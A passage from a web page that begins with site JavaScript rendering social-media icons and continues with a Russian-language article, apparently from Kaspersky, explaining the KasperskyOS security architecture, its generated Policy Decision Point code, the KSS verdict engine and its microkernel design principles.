0-.5-.1-.8-.3-.3-.2-.6-.5-1-.9-.3-.4-.7-.9-1.1-1.6-.4-.7-.8-1.5-1.3-2.4l-.4-.7c-.2-.4-.5-1.1-.9-1.9-.4-.8-.8-1.6-1.1-2.4-.1-.3-.3-.6-.6-.7l-.1-.1c-.1-.1-.2-.1-.4-.2s-.3-.1-.5-.2H3.2c-.6 0-1.1.1-1.3.4l-.1.1c0 .1-.1.2-.1.4s0 .4.1.6c.9 2.2 1.9 4.3 3 6.3s2 3.6 2.8 4.9c.8 1.2 1.6 2.4 2.4 3.5.8 1.1 1.4 1.8 1.7 2.1.3.3.5.5.6.7l.6.6c.4.4.9.8 1.6 1.3.7.5 1.5 1 2.4 1.5.9.5 1.9.9 3 1.2 1.2.3 2.3.4 3.4.4H26c.5 0 .9-.2 1.2-.5l.1-.1c.1-.1.1-.2.2-.4s.1-.4.1-.6c0-.7 0-1.3.1-1.8s.2-.9.4-1.2c.1-.3.3-.5.5-.7.2-.2.3-.3.4-.3.1 0 .1-.1.2-.1.4-.1.8 0 1.3.4s1 .8 1.4 1.3c.4.5 1 1.1 1.6 1.8.6.7 1.2 1.2 1.6 1.5l.5.3c.3.2.7.4 1.2.5.5.2.9.2 1.3.1l5.9-.1c.6 0 1-.1 1.4-.3.3-.2.5-.4.6-.6.1-.2.1-.5 0-.8-.1-.3-.1-.5-.2-.6-.1-.1-.1-.2-.2-.3-.8-1.4-2.2-3.1-4.4-5.1-1-.9-1.6-1.6-1.9-1.9-.5-.6-.6-1.2-.3-1.9.3-.5 1-1.5 2.2-3z"/></svg>'; } vk += '</a>'; vk += '</div>'; var ok = ''; ok += '<div class="t-review-social-links\_\_item">'; ok += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15.001 29.997C6.715 29.997 0 23.28 0 14.997 0 6.714 6.715 0 15.001 0 23.282-.001 30 6.713 30 14.998c0 8.283-6.716 14.999-14.998 14.999zM15 9.163c.986 0 1.787.803 1.787 1.787 0 .987-.801 1.788-1.787 1.788a1.788 1.788 0 0 1 0-3.574zm4.317 1.787a4.322 4.322 0 0 0-4.317-4.319 4.323 4.323 0 0 0-4.319 4.32A4.322 4.322 0 0 0 15 15.266a4.32 4.32 0 0 0 4.316-4.317zm-2.57 7.84a8.126 8.126 0 0 0 2.507-1.038 1.266 1.266 0 0 0-1.347-2.143 5.482 5.482 0 0 1-5.816 0 1.265 1.265 0 0 0-1.348 2.143c.78.49 1.628.838 2.507 1.038l-2.414 2.414a1.267 1.267 0 0 0 .894 2.16c.324 0 .649-.125.895-.37l2.371-2.373 2.373 2.373a1.265 1.265 0 0 0 1.788-1.789l-2.41-2.415z"/></svg>'; } else { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M12.498 6.2a1.932 1.932 0 0 0-1.929 1.93 1.932 1.932 0 0 0 3.861 0 1.932 1.932 0 0 0-1.932-1.93zm0 6.592a4.668 4.668 0 0 1-4.66-4.662 4.665 4.665 0 0 1 4.66-4.663 4.666 4.666 0 0 1 4.664 4.663 4.669 4.669 0 0 1-4.664 4.662zm-1.884 3.801a8.75 8.75 0 0 1-2.708-1.12 1.367 1.367 0 1 1 1.455-2.312 5.925 5.925 0 0 0 6.276 0 1.367 1.367 0 1 1 1.456 2.311c-.832.522-1.749.9-2.707 1.12l2.606 2.608a1.367 1.367 0 0 1-1.933 1.931L12.5 18.569l-2.561 2.562a1.368 1.368 0 0 1-1.934-1.934l2.609-2.604z"/></svg>'; } ok += '</a>'; ok += '</div>'; var behance = ''; behance += '<div class="t-review-social-links\_\_item">'; behance += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-421.541 278.608c-3.095 0-3.526 3.09-3.526 3.09h6.581c0-.001.042-3.09-3.055-3.09zM-436.472 281.697h-5.834v5.356h5.165c.088 0 .219.002.374 0 .831-.02 2.406-.261 2.406-2.604-.001-2.78-2.111-2.752-2.111-2.752z"/><path d="M-430.984 257C-444.248 257-455 267.75-455 281.014c0 13.263 10.752 24.016 24.016 24.016 13.262 0 24.014-10.752 24.014-24.016-.001-13.263-10.754-24.014-24.014-24.014zm5.054 14.756h8.267v2.467h-8.267v-2.467zm-4.179 12.943c0 6.116-6.364 5.914-6.364 5.914h-10.428v-20.038h10.428c3.168 0 5.668 1.75 5.668 5.335s-3.057 3.813-3.057 3.813c4.031 0 3.753 4.976 3.753 4.976zm15.466-.328h-10.384c0 3.722 3.526 3.487 3.526 3.487 3.329 0 3.213-2.156 3.213-2.156h3.527c0 5.722-6.859 5.33-6.859 5.33-8.227 0-7.698-7.661-7.698-7.661s-.008-7.698 7.698-7.698c8.112.001 6.977 8.698 6.977 8.698z"/><path d="M-435.055 276.221c0-2.084-1.417-2.084-1.417-2.084H-442.306v4.471h5.472c.944 0 1.779-.304 1.779-2.387z"/></svg>'; } else { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M22.4 7.5h-5.6V6.1h5.6v1.4zm-9.3 5.7c.4.6.5 1.2.5 2s-.2 1.6-.6 2.2c-.3.4-.6.8-1 1.1-.4.3-1 .6-1.6.7-.6.1-1.3.2-2 .2H2.3V5.6H9c1.7 0 2.9.5 3.6 1.5.4.6.6 1.3.6 2.1s-.2 1.5-.6 2c-.2.3-.6.6-1.1.8.7.2 1.2.7 1.6 1.2zM5.5 11h2.9c.6 0 1.1-.1 1.5-.3.4-.2.6-.6.6-1.2s-.2-1.1-.7-1.3C9.3 8.1 8.7 8 8.1 8H5.5v3zm5.2 4c0-.7-.3-1.2-.9-1.5-.3-.2-.8-.2-1.4-.2h-3V17h2.9c.6 0 1.1-.1 1.4-.2.7-.3 1-.9 1-1.8zm13.8-2.2c.1.5.1 1.1.1 2h-7.2c0 1 .4 1.7 1 2.1.4.3.9.4 1.4.4.6 0 1.1-.1 1.4-.5.2-.2.4-.4.5-.7h2.6c-.1.6-.4 1.2-1 1.8-.9 1-2.1 1.4-3.7 1.4-1.3 0-2.5-.4-3.5-1.2-1-.8-1.5-2.1-1.5-4 0-1.7.5-3 1.4-4 .9-.9 2.1-1.4 3.5-1.4.9 0 1.6.2 2.3.5.7.3 1.3.8 1.7 1.5.6.6.8 1.3 1 2.1zm-2.7.2c0-.7-.3-1.2-.7-1.6-.4-.4-.9-.5-1.5-.5-.7 0-1.2.2-1.5.6-.4.4-.6.9-.7 1.5h4.4z"/></svg>'; } behance += '</a>'; behance += '</div>'; var vimeo = ''; vimeo += '<div class="t-review-social-links\_\_item">'; vimeo += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 256.971c13.267 0 24.023 10.755 24.023 24.023s-10.755 24.023-24.023 24.023-24.023-10.755-24.023-24.023 10.756-24.023 24.023-24.023zm-12.262 19.146l.996 1.306s2.054-1.619 2.739-.81c.685.81 3.299 10.584 4.171 12.387.761 1.581 2.862 3.672 5.166 2.179 2.302-1.493 9.959-8.03 11.329-15.749 1.369-7.717-9.213-6.1-10.335.623 2.802-1.682 4.297.683 2.863 3.362-1.431 2.676-2.739 4.421-3.424 4.421-.683 0-1.209-1.791-1.992-4.92-.81-3.236-.804-9.064-4.17-8.403-3.171.623-7.343 5.604-7.343 5.604z"/></svg>'; } else { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M2.9 16.5l1.6 2s3.2-2.5 4.3-1.3c1.1 1.3 5.2 16.5 6.5 19.3 1.2 2.5 4.5 5.7 8.1 3.4S39 27.4 41.1 15.3s-14.4-9.5-16.1 1c4.4-2.6 6.7 1.1 4.5 5.3s-4.3 6.9-5.3 6.9c-1.1 0-1.9-2.8-3.1-7.7-1.3-5.1-1.3-14.2-6.5-13.1-5.2 1-11.7 8.8-11.7 8.8z"/></svg>'; } vimeo += '</a>'; vimeo += '</div>'; var youtube = ''; youtube += '<div class="t-review-social-links\_\_item">'; youtube += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 257.013c13.248 0 23.987 10.74 23.987 23.987s-10.74 23.987-23.987 23.987-23.987-10.74-23.987-23.987 10.739-23.987 23.987-23.987zm11.815 18.08c-.25-1.337-1.363-2.335-2.642-2.458-3.054-.196-6.119-.355-9.178-.357-3.059-.002-6.113.154-9.167.347-1.284.124-2.397 1.117-2.646 2.459a40.163 40.163 0 0 0 0 11.672c.249 1.342 1.362 2.454 2.646 2.577 3.055.193 6.107.39 9.167.39 3.058 0 6.126-.172 9.178-.37 1.279-.124 2.392-1.269 2.642-2.606a39.769 39.769 0 0 0 0-11.654zm-14.591 9.342v-7.115l6.627 3.558-6.627 3.557z"/></svg>'; } else { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M43.9 15.3c-.4-3.1-2.2-5-5.3-5.3-3.6-.3-11.4-.5-15-.5-7.3 0-10.6.2-14.1.5-3.3.3-4.8 1.8-5.4 4.9-.4 2.1-.6 4.1-.6 8.9 0 4.3.2 6.9.5 9.2.4 3.1 2.5 4.8 5.7 5.1 3.6.3 10.9.5 14.4.5s11.2-.2 14.7-.6c3.1-.4 4.6-2 5.1-5.1 0 0 .5-3.3.5-9.1 0-3.3-.2-6.4-.5-8.5zM19.7 29.8V18l11.2 5.8-11.2 6z"/></svg>'; } youtube += '</a>'; youtube += '</div>'; var instagram = ''; instagram += '<div class="t-review-social-links\_\_item">'; instagram += ' <a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15 11.014a3.986 3.986 0 1 0 .001 7.971A3.986 3.986 0 0 0 15 11.014zm0 6.592A2.604 2.604 0 0 1 12.393 15 2.604 2.604 0 0 1 15 12.394 2.614 2.614 0 0 1 17.607 15 2.604 2.604 0 0 1 15 17.606zM19.385 9.556a.915.915 0 0 0-.92.921c0 .512.407.919.92.919a.914.914 0 0 0 .921-.919.916.916 0 0 0-.921-.921z"/><path d="M15.002.15C6.798.15.149 6.797.149 15c0 8.201 6.649 14.85 14.853 14.85 8.199 0 14.85-6.648 14.85-14.85 0-8.203-6.651-14.85-14.85-14.85zm7.664 18.115c0 2.423-1.979 4.401-4.416 4.401h-6.5c-2.438 0-4.417-1.979-4.417-4.386v-6.546c0-2.422 1.978-4.4 4.417-4.4h6.5c2.438 0 4.416 1.978 4.416 4.4v6.531z"/></svg>'; } else { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M16.396 3.312H8.604c-2.921 0-5.292 2.371-5.292 5.273v7.846c0 2.886 2.371 5.256 5.292 5.256h7.791c2.922 0 5.292-2.37 5.292-5.274V8.586c.001-2.903-2.37-5.274-5.291-5.274zM7.722 12.5a4.778 4.778 0 1 1 9.554 0 4.778 4.778 0 0 1-9.554 0zm10.034-4.318c-.615 0-1.104-.487-1.104-1.102s.488-1.103 1.104-1.103c.614 0 1.102.488 1.102 1.103s-.488 1.102-1.102 1.102z" /><path d="M12.5 9.376A3.12 3.12 0 0 0 9.376 12.5a3.12 3.12 0 0 0 3.124 3.124 3.12 3.12 0 0 0 3.124-3.124A3.133 3.133 0 0 0 12.5 9.376z"/></svg>'; } instagram += '</a>'; instagram += '</div>'; var pinterest = ''; pinterest += '<div class="t-review-social-links\_\_item">'; pinterest += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-407 281c0 13.254-10.746 24-23.999 24-13.257 0-24.003-10.746-24.003-24 0-13.256 10.746-24 24.003-24 13.253 0 23.999 10.744 23.999 24zm-30.628 14.811c.027.205.29.254.409.1.17-.223 2.365-2.932 3.111-5.639.211-.768 1.212-4.738 1.212-4.738.599 1.145 2.349 2.148 4.21 2.148 5.539 0 9.297-5.049 9.297-11.809 0-5.111-4.329-9.873-10.909-9.873-8.186 0-12.314 5.871-12.314 10.766 0 2.963 1.122 5.6 3.527 6.582.395.162.749.006.863-.43.08-.303.268-1.065.353-1.385.114-.432.07-.582-.248-.959-.694-.818-1.138-1.879-1.138-3.381 0-4.353 3.259-8.252 8.484-8.252 4.627 0 7.169 2.828 7.169 6.603 0 4.969-2.198 9.162-5.461 9.162-1.804 0-3.153-1.49-2.722-3.32.518-2.182 1.522-4.537 1.522-6.113 0-1.41-.758-2.588-2.324-2.588-1.843 0-3.323 1.908-3.323 4.461 0 1.627.55 2.727.55 2.727l-2.217 9.391c-.657 2.787-.099 6.203-.051 6.547z"/></svg>'; } else { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M24.9 5.5c4.2 0 7.7 1.3 10.5 3.9s4.1 5.7 4.1 9.2c0 4.6-1.2 8.4-3.5 11.3-2.3 3-5.3 4.5-8.9 4.5-1.2 0-2.3-.3-3.4-.9s-1.8-1.3-2.2-2c-.9 3.5-1.4 5.6-1.6 6.3-.7 2.4-2 4.9-4.1 7.5-.2.2-.4.2-.5-.1-.5-3.5-.5-6.4.1-8.7l2.9-12.6c-.5-.9-.7-2.1-.7-3.6 0-1.7.4-3.1 1.3-4.2s1.9-1.7 3.2-1.7c1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.4 0 .6-.1 1.4-.3 2.3-.2.9-.5 1.9-.9 3.1s-.6 2.1-.8 2.8c-.3 1.2-.1 2.2.7 3.1.7.9 1.7 1.3 3 1.3 2.1 0 3.8-1.2 5.2-3.6 1.4-2.4 2-5.3 2-8.7 0-2.6-.8-4.7-2.5-6.3-1.7-1.6-4-2.4-7-2.4-3.4 0-6.1 1.1-8.2 3.2S13 17.4 13 20.4c0 1.8.5 3.3 1.5 4.5.3.4.4.8.3 1.2 0 .1-.1.3-.2.6-.1.4-.1.6-.2.7 0 .1-.1.4-.2.6-.1.3-.3.4-.4.4h-.6c-3.1-1.3-4.7-4.2-4.7-8.7 0-3.6 1.5-6.9 4.4-9.9s7-4.3 12-4.3z"/></svg>'; } pinterest += '</a>'; pinterest += '</div>'; var linkedin = ''; linkedin += '<div class="t-review-social-links\_\_item">'; linkedin += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-615 1477 48 48" fill="' + fill + '"><path d="M-566.999 1501c0 13.256-10.746 24-24 24-13.256 0-24.002-10.744-24.002-24 0-13.254 10.746-24 24.002-24 13.254 0 24 10.746 24 24zm-38.507 13.975h6.22v-20.004h-6.22v20.004zm3.11-22.739a3.606 3.606 0 0 0 0-7.211 3.603 3.603 0 0 0-3.604 3.605 3.604 3.604 0 0 0 3.604 3.606zm26.396 11.766c0-5.387-1.163-9.529-7.454-9.529-3.023 0-5.054 1.658-5.884 3.231h-.085v-2.733h-5.964v20.004h6.216v-9.896c0-2.609.493-5.137 3.729-5.137 3.186 0 3.232 2.984 3.232 5.305v9.729h6.21v-10.974z"/></svg>'; } else { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M42.3 23.1v13.5h-7.9V24c0-3.2-1.1-5.3-4-5.3-2.2 0-3.5 1.5-4 2.9-.2.5-.3 1.2-.3 1.9v13.2h-7.9s.1-21.4 0-23.6h7.9v3.3s0 .1-.1.1h.1v-.1c1-1.6 2.9-3.9 7.1-3.9 5.2-.1 9.1 3.3 9.1 10.6zM10.1 1.6c-2.7 0-4.4 1.8-4.4 4.1S7.4 9.8 10 9.8h.1c2.7 0 4.4-1.8 4.4-4.1s-1.7-4.1-4.4-4.1zm-3.9 35H14V13H6.2v23.6z"/></svg>'; } linkedin += '</a>'; linkedin += '</div>'; var soundcloud = ''; soundcloud += '<div class="t-review-social-links\_\_item">'; soundcloud += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><defs><path id="a" d="M0 0h48v48H0V0z"/></defs><g fill-rule="evenodd"><path d="M38.206 22.171c-.635 0-1.241.129-1.793.36-.369-4.177-3.871-7.453-8.144-7.453a8.28 8.28 0 0 0-2.965.553c-.35.136-.442.275-.446.546v14.709a.545.545 0 0 0 .5.531c.013.002 12.848 0 12.848 0 2.56 0 4.634-2.051 4.634-4.611a4.634 4.634 0 0 0-4.634-4.635zM24.17 16.237a.5.5 0 0 0-.582.043.517.517 0 0 0-.189.392v.053l-.21 10.388.107 1.92.103 1.869a.514.514 0 0 0 .51.505.515.515 0 0 0 .51-.509v.004l.228-3.79-.227-10.44a.517.517 0 0 0-.25-.435zm-1.364 14.72v-.001.001-.002.002zm-.215-13.813a.47.47 0 0 0-.264-.081.486.486 0 0 0-.478.477l-.001.09-.18 9.48.181 3.847.001.016a.48.48 0 0 0 .477.458c.246 0 .248-.054.335-.14a.486.486 0 0 0 .144-.336l.02-.38.181-3.463-.201-9.573a.487.487 0 0 0-.215-.395zm-1.853 1.479a.447.447 0 0 0-.446.444l-.2 8.044.2 3.87c.005.465.2.442.446.442.245 0 .44.023.446-.444v.003l.223-3.87-.223-8.046a.447.447 0 0 0-.446-.443zm-1.577-.273a.416.416 0 0 0-.414.412l-.219 8.349.219 3.895c.005.228.187.41.414.41a.416.416 0 0 0 .413-.412v.002l.246-3.895-.246-8.35a.416.416 0 0 0-.413-.411zm-1.184 12.693v-.002.002zm0-12.5a.385.385 0 0 0-.382-.38.384.384 0 0 0-.381.38l-.238 8.567.238 3.932c.006.21.173.377.381.377a.385.385 0 0 0 .382-.378l.268-3.931-.268-8.568zm-1.935-.069a.354.354 0 0 0-.35.347l-.256 8.288.257 3.957c.006.193.16.346.35.346a.354.354 0 0 0 .349-.347v.002l.29-3.958-.29-8.288a.355.355 0 0 0-.35-.347zm-1.564.691a.322.322 0 0 0-.318.315l-.275 7.65.276 3.998a.321.321 0 0 0 .317.313c.17 0 .31-.138.317-.315v.002l.312-3.999-.312-7.65a.323.323 0 0 0-.317-.314zM12.974 20.6a.29.29 0 0 0-.285.282l-.295 6.226.295 4.023a.29.29 0 0 0 .285.281.292.292 0 0 0 .285-.282v.001l.333-4.023-.333-6.226a.292.292 0 0 0-.285-.282zm-1.264 2.678a.258.258 0 0 0-.253-.248.257.257 0 0 0-.253.25l-.314 3.826.314 4.024c.008.142.117.25.253.25a.259.259 0 0 0 .253-.25l.356-4.024-.356-3.828zm0 7.851v.001zm-1.757-8.366a.226.226 0 0 0-.221.217l-.333 4.126.333 3.99c.009.124.104.217.22.217s.21-.093.221-.216l.4-3.991-.4-4.126c-.01-.123-.105-.217-.22-.217zm-1.493.142c-.1 0-.179.078-.189.185l-.351 4.015.351 3.868c.01.108.09.185.19.185.097 0 .176-.077.188-.184l.4-3.869-.4-4.015c-.012-.107-.091-.185-.189-.185zm-2.873 1.96c-.079 0-.14.06-.151.147l-.276 2.094.276 2.056c.01.086.072.147.15.147s.14-.06.152-.147l.326-2.056-.326-2.095c-.013-.086-.074-.145-.151-.145zM6.98 23.57c-.08 0-.146.064-.157.152l-.25 3.385.25 3.308c.011.088.077.152.157.152s.144-.062.156-.152l.422-3.308-.422-3.385c-.012-.09-.077-.152-.156-.152zM48 24c0 13.255-10.745 24-24 24C10.757 48 0 37.255 0 24 0 10.757 10.757 0 24 0c13.255 0 24 10.757 24 24z"/></g></svg>'; } else { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M1.6 24.3c-.2 0-.3.1-.3.3l-.5 6.2.5 6c0 .2.2.3.3.3.2 0 .3-.1.3-.3l.6-6-.6-6.2c0-.2-.1-.3-.3-.3zm3.3 12.6zm0-11.8c0-.2-.2-.4-.4-.4s-.4.2-.4.4l-.5 5.8.5 6.1c0 .2.2.4.4.4s.4-.2.4-.4l.5-6.1-.5-5.8zm2.7-6.2c-.3 0-.5.2-.5.5l-.4 11.5.4 6c0 .3.2.5.5.5s.5-.2.5-.5l.5-6-.5-11.6c-.1-.2-.3-.4-.5-.4zm3.8-1c0-.3-.3-.6-.6-.6s-.6.3-.6.6l-.4 13 .4 5.9c0 .3.3.6.6.6s.6-.3.6-.6l.4-5.9-.4-13zm2.7.1c-.4 0-.7.3-.7.7l-.3 12.2.3 5.9c0 .4.3.7.7.7.4 0 .7-.3.7-.7l.3-5.9-.3-12.2c0-.4-.3-.7-.7-.7zm3.7-3.6c-.1-.1-.3-.1-.4-.1-.2 0-.4.1-.5.2-.2.1-.3.4-.3.6v.1l-.3 15.7.2 2.9.2 2.8c0 .4.4.8.8.8s.8-.3.8-.8l.3-5.7-.3-15.8c-.1-.3-.3-.5-.5-.7zm22.4 9c-1 0-1.9.2-2.7.5-.6-6.3-5.9-11.3-12.3-11.3-1.6 0-3.1.3-4.5.8-.5.2-.7.4-.7.8v22.2c0 .4.3.8.8.8h19.4c3.9 0 7-3.1 7-7 0-3.7-3.1-6.8-7-6.8z"/></svg>'; } soundcloud += '</a>'; soundcloud +=' </div>'; var telegram = ''; telegram += '<div class="t-review-social-links\_\_item">'; telegram += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 60 60" fill="' + fill + '"><path d="M30 0C13.4 0 0 13.4 0 30s13.4 30 30 30 30-13.4 30-30S46.6 0 30 0zm16.9 13.9l-6.7 31.5c-.1.6-.8.9-1.4.6l-10.3-6.9-5.5 5.2c-.5.4-1.2.2-1.4-.4L18 32.7l-9.5-3.9c-.7-.3-.7-1.5 0-1.8l37.1-14.1c.7-.2 1.4.3 1.3 1z"/><path d="M22.7 40.6l.6-5.8 16.8-16.3-20.2 13.3"/></svg>'; } else { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 60 60" fill="' + fill + '"><path d="M52.5 9L6.1 26.9c-.9.4-.9 1.8 0 2.3L18 34.1l4.4 14.1c.3.8 1.2 1 1.8.5l6.8-6.4L43.9 51c.7.4 1.6 0 1.7-.7l8.4-40c.2-.8-.7-1.6-1.5-1.3zm-28 27.7l-.7 7.3-3.6-11.2L45.5 16l-21 20.7z"/></svg>'; } telegram += '</a>'; telegram += '</div>'; if (item.indexOf('facebook') != -1) { socialWrapper.append(fb); } if (item.indexOf('twitter') != -1) { socialWrapper.append(twi); } if (item.indexOf('vk.com') != -1) { socialWrapper.append(vk); } if (item.indexOf('ok.ru') != -1) { socialWrapper.append(ok); } if (item.indexOf('behance') != -1) { socialWrapper.append(behance); } if (item.indexOf('vimeo') != -1) { socialWrapper.append(vimeo); } if (item.indexOf('youtube') != -1) { socialWrapper.append(youtube); } if (item.indexOf('instagram') != -1) { socialWrapper.append(instagram); } if (item.indexOf('pinterest') != -1) { socialWrapper.append(pinterest); } if (item.indexOf('linkedin') != -1) { socialWrapper.append(linkedin); } if (item.indexOf('soundcloud') != -1) { socialWrapper.append(soundcloud); } if (item.indexOf('telegram') != -1) { socialWrapper.append(telegram); } } $(document).ready(function() { t\_reviews\_social\_init('186913009'); });@media screen and (max-width: 640px){ .t525 .t-review-social-links\_\_wrapper { -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; }
} Policy Decision Point принимает решения, от которых зависит безопасность всей системы, поэтому мы должны быть полностью уверены в чистоте и безошибочности его кода. Правила вычисления вердиктов должны быть однозначны и математически корректны.
Воплощая эту концепцию в жизнь, мы создали специальный компилятор. Он принимает на вход декларативные описания взаимодействующих компонентов и конфигурацию безопасности. Результат работы компилятора — программный код на языке C, определяющий функциональность Policy Decision Point. У автоматически генерируемого кода есть несколько преимуществ: * Доверие к такому коду выше, чем к написанному вручную. Например, вместе с кодом, сгенерированным на основе формальной модели, можно сгенерировать и набор тестов, проверяющих его соответствие модели. Упрощается и процесс формального доказательства определенных свойств полученного кода, например, предельного времени выполнения.
* Становится возможным использовать простые наборы правил взаимодействия компонентов. Корректная работа правильно спроектированной системы предполагает лишь малое число стандартных потоков исполнения, которые требуется описывать. В то же время правила вычисления вердиктов могут быть сложными и разнообразными — это уже забота компилятора.
* Инженер безопасности описывает поведение системы в терминах, с применением которых она была спроектирована. Есть возможность всесторонне учесть специфику решения.
* Описание безопасности выполняется независимо от бизнес-логики решения.
Так появился движок, который выполняет вычисление вердиктов безопасности, — Kaspersky Security System (KSS). Почему не Linux или другая операционная система
По сути, KasperskyOS — это идеальная специальным образом оптимизированная среда для работы KSS. Расскажем, почему мы не стали использовать существующие ОС в качестве такой среды. Например, на базе Linux создано несколько механизмов и модулей безопасности: SELinux, AppArmor, GR security, SMACK, контейнеры и т. д. Однако все они оказываются бесполезными, когда скомпрометировано ядро ОС. Linux — классическое монолитное ядро, где все компоненты работают в одном адресном пространстве и могут влиять друг на друга. Да, код ядра Linux просматривают миллионы глаз, но по-настоящему тщательной ревизии подвергаются только наиболее ответственные компоненты ядра. В ядре Linux более 15 млн строк кода, и значительная его часть остается вне зоны пристального контроля Linux-сообщества. В результате часто обнаруживаются критичные уязвимости, эксплуатация которых позволяет скомпрометировать ядро Linux. Тем самым не реализуется главное требование по обеспечению безопасности — изоляция между доменами. Кардинально поменять архитектуру Linux вряд ли получится, уж если у [Таненбаума не получилось переубедить Торвальдса](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%BE%D1%80_%D0%A2%D0%B0%D0%BD%D0%B5%D0%BD%D0%B1%D0%B0%D1%83%D0%BC%D0%B0_%E2%80%94_%D0%A2%D0%BE%D1%80%D0%B2%D0%B0%D0%BB%D1%8C%D0%B4%D1%81%D0%B0), то у нас и вовсе шансов нет :)  Евгений Касперский с сетевым устройством на базе KasperskyOS Что же с существующими микроядерными операционными системами? Ядро в таких системах обычно весьма компактно и благодаря этому лишено описанных выше недостатков, свойственных монолитным и гибридным архитектурам. Микроядра идеально подходят для создания ядер разделения в MILS-системах. Более того, есть несколько хороших защищенных микроядерных операционных систем с открытым исходным кодом, например, [seL4](https://sel4.systems/). Несмотря на все плюсы использования готового микроядра, мы пришли к выводу, что возможности существующих систем в области безопасности недостаточны для реализации нашего подхода. Обычно создатели ОС пытаются контролировать доступ к ресурсам. Именно ресурсами в первую очередь оперирует модель безопасности [object-capability](https://en.wikipedia.org/wiki/Object-capability_model), которая используется в большинстве микроядерных операционных систем. Дальнейшие более изощренные свойства безопасности реализуются в виде прикладной логики. Возможности политик безопасности будут сильно ограничены, если мы возьмем только модель object capabilities. Таким образом, оказалось, что использование готовых ОС не позволяет реализовать идеальную среду для работы KSS так, как мы ее видим. Поэтому и пришлось разрабатывать новую операционную систему. Какие принципы лежат в основе KasperskyOS Создавая KasperskyOS, мы следовали 3 основным концепциям: I. **Микроядерная архитектура**. Чем компактнее ядро ОС, тем проще его исследовать и тем меньше возможностей для возникновения уязвимостей. На текущий момент базовая функциональность KasperskyOS реализована всего лишь в нескольких десятках тысяч строк кода. II. **Минимально возможная поверхность атаки на ядро ОС**. Поверхность атаки на ядро ОС определяется числом системных вызовов и других каналов внешних воздействий. Если архитектура микроядерная, то в ядре нет драйверов, оно не взаимодействует через оборудование с внешними источниками воздействий. В этом случае поверхность атаки зависит лишь от количества используемых системных вызовов. У KasperskyOS всего 3 вызова не контролируются монитором безопасности — это вызовы, отвечающие за IPC. Для сравнения, у другой распространенной микроядерной ОС — QNX — их 116.
III. **Гарантии изоляции**. Необходимо исключить любую возможность обмена данными между процессами в обход KSS. Это зона ответственности микроядра операционной системы. Все эти составляющие в сумме позволили создать ОС с высоким уровнем безопасности.
Есть ли особенности в приложениях под KasperskyOS Не всякое решение, созданное с применением KasperskyOS, безопасно по определению. Его необходимо правильно спроектировать. Для начала нужно определить те свойства решения, наличие которых мы считаем критичным с точки зрения безопасности. Исходя из данных требований, функциональность решения нужно разбить на изолированные компоненты, определить все возможные варианты их взаимодействия и, наконец, описать политики безопасности так, чтобы поведение системы оставалось безопасным.
